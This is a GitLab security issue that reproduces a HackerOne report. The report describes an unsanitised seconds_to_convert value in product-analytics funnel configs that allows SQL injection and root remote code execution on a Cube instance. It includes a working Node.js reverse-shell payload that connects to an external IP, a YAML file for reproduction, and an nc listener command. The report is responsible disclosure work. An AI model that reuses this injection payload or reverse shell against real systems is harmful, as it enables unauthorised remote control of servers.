Reverse shell with root access to analytics Cube instance on prod

⚠ Please read the process on how to fix security issues before starting to work on the issue. Vulnerabilities must be fixed in a security mirror.

HackerOne report #2687770 by joaxcar on 2024-08-29, assigned to @ameyadarshan:

Report | Attachments | How To Reproduce

Report

First of all, sorry if I am misinterpreting this. I believe that this is a shared prod instance, but I could be wrong. I put it as critical because of this but feel free to change this if I am wrong!

Summary

When using Product Analytics ((docs)[https://docs.gitlab.com/ee/user/product_analytics/]) there is an option to use a Gitlab hosted solution ((docs)[https://docs.gitlab.com/ee/user/product_analytics/#product-analytics-provider]) that runs in GCP. (the attack works on self hosted instances as well but I belive that the GCP instance from Gitlab is shared)

There is also an option in a project to configure something called a funnel dashboard ((docs)[https://docs.gitlab.com/ee/user/product_analytics/#create-a-funnel-dashboard]) when doing this you specify a config looking like this

seconds_to_convert: 3600  
steps:  
  - name: view_page_1  
    target: '/page1.html'  
    action: 'pageview'  

and its used in a query in the backend that looks like this

 def to_sql  
      <<-SQL  
        SELECT  
          (SELECT max(derived_tstamp) FROM gitlab_project_#{project.id}.snowplow_events) as x,  
          arrayJoin(range(1, #{steps.size + 1})) AS level,  
          sumIf(c, user_level >= level) AS count  
        FROM  
          (SELECT  
             level AS user_level,  
             count(*) AS c  
           FROM (  
               SELECT  
                 user_id,  
                 windowFunnel(#{[@]seconds_to_convert}, 'strict_order')(toDateTime(derived_tstamp),  
                    #{steps.filter_map(&:step_definition).join(', ')}  
                 ) AS level  
               FROM gitlab_project_#{project.id}.snowplow_events  
               WHERE ${FILTER_PARAMS.#{[@]name}.date.filter('derived_tstamp')}  
               GROUP BY user_id  
               )  
           GROUP BY level  
          )  
          GROUP BY level  
	        ORDER BY level ASC  
      SQL  

As you can see #{[@]seconds_to_convert} is used without sanatization. Thus its possible to inject any string here.

This SQL query will be sent as a string to Cube where it will then be used as a query to ClickHouse. Its possible to just do a SQL injection here into the Clickhouse DB. But we can also gain RCE on the Cube instance by adding a seconds_to_convert like this

${(function(){var net = require('net'), cp = require('child_process'),sh = cp.spawn('/bin/sh', []); var client = new net.Socket(); client.connect(12345, '137.184.138.220', function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return /a/; })()}  

the ${command} syntax will execute in the Node context in Cube as root generating a reverse shell to my server at 137.184.138.220

Steps to reproduce

  1. Create a group with an Ultimate license on gitlab.com (use a trial)
  2. Create a project in the group
  3. Go to https://gitlab.com/GROUPNAME/PROJECTNAME/-/analytics/dashboards and click Set up on the right of Product analytics
  4. Select Use Gitlab managed provider
  5. Let it configure
  6. Creata a file .gitlab/analytics/funnels/test.yaml with this content (replace PORT and IP_ADDR to your catch server
seconds_to_convert: "${(function(){var net = require('net'), cp = require('child_process'),sh = cp.spawn('/bin/sh', []); var client = new net.Socket(); client.connect(PORT, 'IP_ADDR', function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return /a/; })()}"  
steps:  
  - name: view_page_1  
    target: '/page1.html'  
    action: 'pageview'
  1. Go to https://gitlab.com/GROUPNAME/PROJECTNAME/-/analytics/dashboards/ and create a new dashboard. Select your new funnel as a visualization
  2. Start the catch server at your IP_ADDR like this
nc -l -p 12345  
  1. Now visit the new dashboard
  2. On your catch server you should now be able to run commands

Impact

RCE on analytics Cube instance

Examples

Screenshot_2024-08-29_at_08.22.20.png

Screenshot_2024-08-29_at_08.22.45.png

Output of checks

This bug happens on GitLab.com

Impact

RCE on analytics Cube instance

Attachments

Warning: Attachments received through HackerOne, please exercise caution!

  • Screenshot_2024-08-29_at_08.22.20.png
  • Screenshot_2024-08-29_at_08.22.45.png

How To Reproduce

Please add reproducibility information to this section:

Assignee Loading
Time tracking Loading